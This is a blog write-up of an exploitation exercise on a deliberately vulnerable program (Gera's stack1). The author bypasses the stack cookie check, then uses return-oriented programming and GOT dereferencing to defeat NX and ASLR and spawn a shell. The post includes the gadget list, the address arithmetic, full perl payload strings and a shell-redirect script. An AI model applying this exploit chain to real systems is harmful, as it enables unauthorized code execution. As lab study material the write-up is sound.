Gera's Insecure Programming warming up stack #1 (ROP NX/ASLR Bypass)



I started gera’s exercises on format strings vulnerabilities. I am going to start on the stack next. This post will be my first ROP practice and it was fun :). The main purpose of “warming up the stack” exercises is to just bypass the canary. However, I wanted to make it harder and get a shell out of it.

/* stack1.c                                     *
 * specially crafted to feed your brain by gera */

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x41424344)
		printf("you win!\n");
}

The targeted platform was Debian 6.0.2 with linux-image-2.6-686-bigmem (PAE).

lixor@debian:~$ uname -a
Linux debian 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
lixor@debian:~$ ./checksec.sh --file InsecureProgramming/stack1/stack1
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX enabled    No PIE                  /home/lixor/InsecureProgramming/stack1/stack1
lixor@debian:~$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
lixor@debian:~/InsecureProgramming/stack1$ ./stack1 
buf: bfba9b9c cookie: bfba9bec
hehe
lixor@debian:~/InsecureProgramming/stack1$ ./stack1 
buf: bfef589c cookie: bfef58ec
kitties

The binary, obviously, just prints to the screen. The cookie variable needs to be written with values of 0x41424344. The variable cookie is before the buffer so it can be overwritten. Attentive readers will know these are ASCII values. Since the characters are being read from stdin into a buffer, the cookie needs to be overwritten with DCBA.

lixor@debian:~/InsecureProgramming/stack1$ perl -e 'print "A"x80 ."DCBA"' | ./stack1 
buf: bfb75b9c cookie: bfb75bec
you win!

Yay, the cookie “protection” was bypassed and now for the real fun.

lixor@debian:~/InsecureProgramming/stack1$ perl -e 'print "A"x80 ."DCBA"."A"x12 ."\x24\x24\x24\x24"."C"x100' | ./stack1 
buf: bfed408c cookie: bfed40dc
you win!
Segmentation fault (core dumped)
lixor@debian:~/InsecureProgramming/stack1$ gdb stack1 core
GNU gdb (GDB) 7.0.1-debian
..snip..
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0  0x24242424 in ?? ()
gdb> x/10x $esp
0xbfd5dd40:	0x43434343	0x43434343	0x43434343	0x43434343
0xbfd5dd50:	0x43434343	0x43434343	0x43434343	0x43434343
0xbfd5dd60:	0x43434343	0x43434343
gdb> q

I used a neat ROP tool from vnsecurity called ROPeMe [1]. Curious readers can find more information about the tool in the reference section. I found 4 useful gadgets in this small binary.

Gadgets
(1) 0x80484d5L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
(2) 0x80483ebL: xchg esi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
(3) 0x80484feL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
(4) 0x804841fL: call eax ; leave ;;

Only using these 4 gadgets do not do anything useful. I repeated (2) after (2) to get a perfectly working ROP payload (doing GOT dereferencing).

Gadgets
(1) 0x80484d5L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
(2) 0x80483ebL: xchg esi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
(3) 0x80484d5L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
(4) 0x80484feL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
(5) 0x804841fL: call eax ; leave ;;

The entire gadget list can be found here stack1.ggt.

I could not really find any simple pop eax gadget without it having a trailing leave instruction; which I tried to avoid as much as I can due to ASLR. The xchg esi, eax; instruction is good enough.

The leave instruction is similar to mov esp, ebp; pop ebp; resulting in my current stack pointer pointing at a different location.

The approach I used to perform ROP was GOT dereferencing as mentioned in the paper “Surgically returning to randomized lib(c)” [2].

Ideally, I want eax to have the address of system() and the GOT address of an offset function in ebx. Since I have a few gadgets with additional calculations, I will need some dummy values for (2).

lixor@debian:~/InsecureProgramming/stack1$ readelf -r stack1
..snip..
0804964c  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
..snip..
0804965c  00000507 R_386_JUMP_SLOT   00000000   puts

The two gadgets (2) and (4) accesses a memory location at a particular offset, +0x5d5b04c4 and -0xb8a0008 respectively. Using simple mathematics, I just need to subtract 0x5d5b04c4 and add 0xb8a0008 to remove the offset from the equation.

I choose gmon_start to be used in the first memory access (2) and puts for the actual function to find system().

In (2), there is small issue that eax is being added with 0x8. I need to subtract 0x00000008 from the value stored in eax (giving me the original value in eax).

Calculate value for eax
------------------
(gdb) x/x system
0xb7660180 <system>:	0x890cec83
(gdb) x/x puts
0xb7684950 <puts>:	0x83e58955
(gdb) p/x &system - &puts - 0x8
$1 = 0xfffdb828

Dummy math #1
------------------
(gdb) p/x 0x0804964c - 0x5d5d04c4
$2 = 0xaaa79188

Calculate value for ebx
------------------
(gdb) p/x 0x0804965c + 0xb8a0008 
$3 = 0x138e9664
[/code]

The main values are:

[code lang="bash"]
eax = 0xfffdb828
ebx = 0x138e9664

A string is needed, preferably pointing to /bin/sh, to supply it to system(). There are different ways to do this. I found a string ‘GNU’ at .note.gnu.build-id.

lixor@debian:~/InsecureProgramming/stack1$ readelf -x .note.gnu.build-id stack1

Hex dump of section '.note.gnu.build-id':
  0x08048148 04000000 14000000 03000000 474e5500 ............GNU.
  0x08048158 037f33f9 9b44370e ab0d4b93 073a69e3 ..3..D7...K..:i.
  0x08048168 026e5fa5                            .n_.
lixor@debian:~/InsecureProgramming/stack1$ ln -s /bin/sh GNU
lixor@debian:~/InsecureProgramming/stack1$ perl -e 'print "A"x80 ."DCBA"."A"x12 ."\xd5\x84\x04\x08"."\x88\x91\xa9\xaa\x28\xb8\xfd\xffJUNKJUNK\xeb\x83\x04\x08\xd5\x84\x04\x08\x64\x96\x8e\x13JUNKJUNKJUNK\xfe\x84\x04\x08MOVEJUNKJUNK\x1f\x84\x04\x08\x54\x81\x04\x08"' |  ./stack1 
buf: bfb874fc cookie: bfb8754c
you win!
Segmentation fault
lixor@debian:~/InsecureProgramming/stack1$ 

At this point, I hit a wall because it should have drop me into a shell. I was able to execute other commands, but not any shells. After debugging and few ideas from the NYSEC crew, I found out that since I was piping into the binary there is no controlling terminal for the processes. This prevents the shell from reading STDIN. I needed to open the console. A few google searches later I found a forum post [3] that addressed my issue: needed to find the process’s pts and perform some I/O redirections.

Here is the script with minor modifications:

lixor@debian:~/InsecureProgramming/stack1$ cat gets 
#!/bin/bash

term="/dev/$(ps -p$$ --no-heading | awk '{print $2'})"
exec sh < $term

Now when I create the new symlink and add my local directory to my PATH, I should get a shell.

lixor@debian:~/InsecureProgramming/stack1$ export PATH=.:$PATH
lixor@debian:~/InsecureProgramming/stack1$ ln -s ./gets GNU
lixor@debian:~/InsecureProgramming/stack1$ perl -e 'print "A"x80 ."DCBA"."A"x12 ."\xd5\x84\x04\x08"."\x88\x91\xa9\xaa\x28\xb8\xfd\xffJUNKJUNK\xeb\x83\x04\x08\xd5\x84\x04\x08\x64\x96\x8e\x13JUNKJUNKJUNK\xfe\x84\x04\x08MOVEJUNKJUNK\x1f\x84\x04\x08\x54\x81\x04\x08"' |  ./stack1 
buf: bf892d1c cookie: bf892d6c
you win!
$ id
uid=1001(lixor) gid=1001(lixor) groups=1001(lixor)

ROP is fun.

References:

[1] VN Security

[2] http://security.dsi.unimi.it/~roberto/pubs/acsac09.pdf (Taken down)

[3] Linux Forums